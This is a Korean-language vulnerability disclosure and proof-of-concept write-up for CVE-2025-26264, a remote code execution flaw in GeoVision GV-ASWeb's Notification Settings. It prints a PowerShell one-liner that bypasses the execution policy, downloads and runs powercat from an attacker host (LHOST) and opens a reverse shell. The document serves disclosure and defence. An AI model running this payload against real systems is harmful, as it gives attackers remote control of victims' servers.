CVE-2025-26264

CVE-2025-26264 - GeoVision GV-ASWeb 버전 6.1.2.0 이하에는 Notification Settings 기능 내에 원격 코드 실행(RCE) 취약점이 존재합니다. ASWeb에서 "System Settings" 권한을 가진 인증된 공격자는 이 결함을 악용하여 서버에서 임의의 명령을 실행할 수 있으며, 이로 인해 전체 시스템이 손상될 수 있습니다.

요구 사항

성공적인 공격을 수행하려면 공격자에게 다음이 필요합니다:

• 버전 6.1.2.0 이하의 GV-ASManager 웹 애플리케이션에 대한 네트워크 접근;
• Notification Settings 기능을 관리할 권한이 있는 계정에 대한 접근.

영향

이 취약점은 다음과 같은 무단 작업을 수행하는 데 악용될 수 있습니다:

• Notification Settings 기능을 관리할 권한이 있는 계정은 다음을 수행할 수 있습니다:
  • 원격 코드 실행(RCE) 공격 수행.
• 공격이 성공한 후, 공격자는 다음을 수행할 수 있습니다:
  • 중요한 시스템 정보에 접근, 수정 또는 삭제;
  • 시스템 백도어 설치;
  • 랜섬웨어 공격 수행;
  • 내부 네트워크에서 측면 이동(lateral movement) 수행.

CVE-2025-26264 PoC [GeoVision v6.1.2.0 테스트]

GeoVision GV-ASManager의 ASWeb 플랫폼에서 원격 코드 실행 취약점을 악용하는 것은 버전 6.1.2.0 이하에서 가능합니다 (2025년 2월 26일 기준 수정 패치는 없음).

GeoVision ASManager의 ASWeb 기능인 Notification Setting은 RCE에 취약합니다

특정 이벤트(실패한 TAWeb 로그인 시도)에 대한 알림 설정 HTTP 요청

이 스크립트에 따르면, 실패한 TAWeb 로그인 시도가 있으면 다음 PowerShell 스크립트가 실행됩니다:

powershell.exe Set-ExecutionPolicy Bypass -Force;IEX(New-Object System.Net.WebClient).DownloadString('http://LHOST/powercat.ps1');powercat -c LHOST -p LPORT -e powershell

TAWeb에서의 실패한 인증 시도

피해자 호스트: 스크립트가 공격자 호스트에 백도어를 엽니다.

공격자 호스트: 공격자가 셸을 획득합니다.

연락처

질문이 있으시면 LinkedIn에서 Giorgi Dograshvili에게 연락하실 수 있습니다.